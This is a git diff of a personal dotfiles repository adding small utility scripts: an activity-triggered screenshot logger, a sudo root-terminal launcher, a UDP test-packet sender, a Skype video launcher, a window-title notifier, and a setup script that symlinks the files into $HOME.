print "$dev: idle, taking screenshot (" . (time() - $lastEvent{$dev}) . "; $threshold)\n";
&screenshot();
$lastEvent{$dev} = 0;
$changed{$dev} = 0;
}
}
select(undef,undef,undef,0.01);
}
sub monitor {
my $device = shift;
print "Monitoring device: $device\n";
# Store the time when the last event was seen.
$lastEvent{$device} = 0;
# When the lastEvent is first set (away from 0), record the time it was changed.
# This way for prolonged activity we can still take screenshots.
$changed{$device} = 0;
open (READ, $device);
my $buffer;
while (read(READ, $buffer, 1)) {
# Store the last event time
if ($lastEvent{$device} == 0) {
$changed{$device} = time();
}
$lastEvent{$device} = time();
# Too much activity?
if ($changed{$device} > 0 && time() - $changed{$device} > $prolonged) {
# Take screenshot.
print "$device: prolonged activity (> $prolonged seconds)\n";
&screenshot();
$changed{$device} = time();
}
}
close (READ);
}
sub notify {
while (1) {
system($notify);
}
}
sub screenshot {
print "Taking screenshot!\n";
my @time = localtime(time());
my $date = join(" ",
join("-",
sprintf("%04d", $time[5] + 1900),
sprintf("%02d", $time[4] + 1),
sprintf("%02d", $time[3]),
),
join(":",
sprintf("%02d", $time[2]),
sprintf("%02d", $time[1]),
sprintf("%02d", $time[0]),
),
);
my $fname = $date;
my $i = 1;
while (-f "$outdir/$fname.png") {
$fname = $date . " [$i]";
$i++;
}
my $cmd = $screenshot;
$cmd =~ s/%s/$outdir\/$fname\.png/ig;
system($cmd);
}
sub checkdupes {
my $ps = `ps aux | grep screenspy`;
foreach my $line (split(/\n/,$ps)) {
chomp $line;
next if $line =~ /grep/i;
next if $line =~ /$$/i;
if ($line) {
die "Script is already running!\n";
}
}
}

17
home/bin/suterm Executable file
View File

@ -0,0 +1,17 @@
#!/usr/bin/perl -w
# suterm - A stupid simple way to get a root shell in GNOME. It requires you to
# have /etc/sudoers set up for your username with the NOPASSWD option.
#
# Create a launcher that runs this script and check "Open in Terminal". Then
# the launcher will open a root gnome-terminal, provided `sudo -i` normally
# doesn't require you to enter a password.
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
system ("sudo -i");
exit(0);

43
home/bin/udptoss Executable file
View File

@ -0,0 +1,43 @@
#!/usr/bin/perl -w
# udptoss - Throw UDP packets at a host.
# Usage: udptoss <target host> <port number> [message]
#
# Sends "Hello world! Can you hear me?" to the target host:port once per second
# over UDP. Use Wireshark on the target to verify it sees the UDP packets.
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
use IO::Socket;
if (scalar(@ARGV) < 2) {
print "Usage: udptoss <target host> <port> [message]\n";
exit(1);
}
my $host = shift(@ARGV);
my $port = shift(@ARGV);
print "Preparing connection to $host port UDP $port...\n";
my $udp = IO::Socket::INET->new (
PeerAddr => $host,
PeerPort => $port,
Proto => 'udp',
Timeout => 30,
);
unless (defined $udp) {
die "Couldn't create UDP socket to $host:$port: $!";
}
my $packet = shift(@ARGV) || "Hello world! Can you hear me?";
print "Sending packets...\n";
my $i = 0;
while (++$i) {
print "[$i] $packet\n";
$udp->send("$packet\x0D\x0A");
sleep 1;
}

9
home/bin/v4lskype Executable file
View File

@ -0,0 +1,9 @@
#!/usr/bin/perl -w
# v4lskype - A simple front-end for Skype for Linux that loads the Video 4 Linux
# driver before launching Skype.
#
# If your Skype has problems with video, change the launcher to launch this
# script instead.
exec("LD_PRELOAD=/usr/lib/libv4l/v4l1compat.so skype");

90
home/bin/window-notify Executable file
View File

@ -0,0 +1,90 @@
#!/usr/bin/env python
# window-notify: Watch for windows with particular titles and pop up a
# desktop notification when they appear.
#
# Useful for certain web apps that don't properly handle desktop notifications.
# You'll need to make sure you keep the app tab on a window by itself so that
# its title is always visible to the window manager.
#
# Usage: window-notify '* Title 1' '! * Title 2' 'etc.'
#
# Requires programs:
# - wmctrl
# - notify-send
#
# --Kirsle
# http://sh.kirsle.net/
from sys import argv, exit
import time
import subprocess
# Config
config = dict(
# Icon to use
icon = "/usr/share/icons/gnome/48x48/status/user-available.png",
# Title
title = "Window Notification:",
)
if len(argv) == 1:
print "Usage: window-notify 'Title to watch for' 'etc...'"
exit()
titles = argv[1:]
def safe_output(args):
retval = None
try:
retval = subprocess.check_output(args)
except:
pass
return retval
def safe_call(args):
try:
subprocess.call(args)
except:
pass
def notify(title):
# Notification pop-up.
safe_call(["notify-send",
"-a", __name__,
"-i", config['icon'],
config['title'],
title,
])
# Try to add the Urgent hint to the window.
safe_call(["wmctrl", "-r", title, "-b", "add,demands_attention"])
# Keep track of which titles we currently see, so we don't notify a ton
# of times for the same title.
visible = { key: False for key in titles }
# Begin watching.
while True:
time.sleep(0.2)
output = safe_output(["wmctrl", "-l"])
if not output: continue
seen_this_time = dict() # Titles we see on this loop
for line in output.split("\n"):
if len(line) == 0:
continue
parts = line.split(" ", 4)
real_title = parts[-1]
for title in titles:
if title in real_title:
seen_this_time[title] = True
# Window exists, did we already notify?
if not visible[title]:
notify(real_title)
# Flag the visibility of each title.
for title in titles:
visible[title] = title in seen_this_time
# vim:expandtab

95
setup Executable file
View File

@ -0,0 +1,95 @@
#!/usr/bin/env python
"""Initialize your dotfiles setup.
Usage: setup [--install]
This will create symlinks in $HOME for every file listed in ./home in this
repository. It will NOT delete existing files in $HOME; use the --install
option to delete existing files."""
from __future__ import print_function
import sys
import os
import os.path
import shutil
import re
# Install? (deletes existing files in $HOME).
install = "--install" in sys.argv
# Get the path to the git repo.
basedir = os.path.abspath(os.path.dirname(__file__))
homedir = os.environ.get("HOME", ".")
source = os.path.join(basedir, "home")
print("Setting up .dotfiles")
print("====================")
print("")
if install:
print("* Install mode: will delete files in $HOME and set up symlinks!")
def crawl(folder):
"""Recursively crawl a folder. Directories will be created relative to
$HOME, and files in those directories will be symlinked."""
for item in sorted(os.listdir(folder)):
# Resolve the path to this file relative to $HOME and the absolute
# path to the symlink target. First get the path to the target.
target = os.path.join(folder, item)
# Remove the source dir prefix from it to get the path relative
# to the "./home" folder, then use that for $HOME.
path = re.sub(r'^{}/'.format(source), '', target)
home = os.path.join(homedir, path)
# If the target is a directory, make sure it exists relative to $HOME.
if os.path.isdir(target):
if not os.path.isdir(home):
print("Create directory:", home)
os.mkdir(home)
# Recursively crawl it.
crawl(target)
continue
# Otherwise it's a file. In install mode, delete the existing file.
if install and (os.path.exists(home) or os.path.islink(home)):
print("Delete:", home)
os.unlink(home)
# Already linked?
if os.path.islink(home):
link = os.readlink(home)
if link == target:
print("Already linked:", home)
continue
else:
print("Delete existing link:", home)
os.unlink(home)
# Link it.
print("Link: {} -> {}".format(home, target))
os.symlink(target, home)
crawl(source)
"""for item in os.listdir(source):
home = os.path.join(os.environ.get("HOME", "."), item)
target = os.path.join(source, item)
if install and (os.path.exists(home) or os.path.islink(home)):
print("Delete:", home)
if os.path.islink(home) or not os.path.isdir(home):
os.unlink(home)
else:
shutil.rmtree(home)
if os.path.islink(home):
print("Already linked:", home)
continue
print("{} -> {}".format(home, target))
os.symlink(target, home)
"""
# vim:expandtab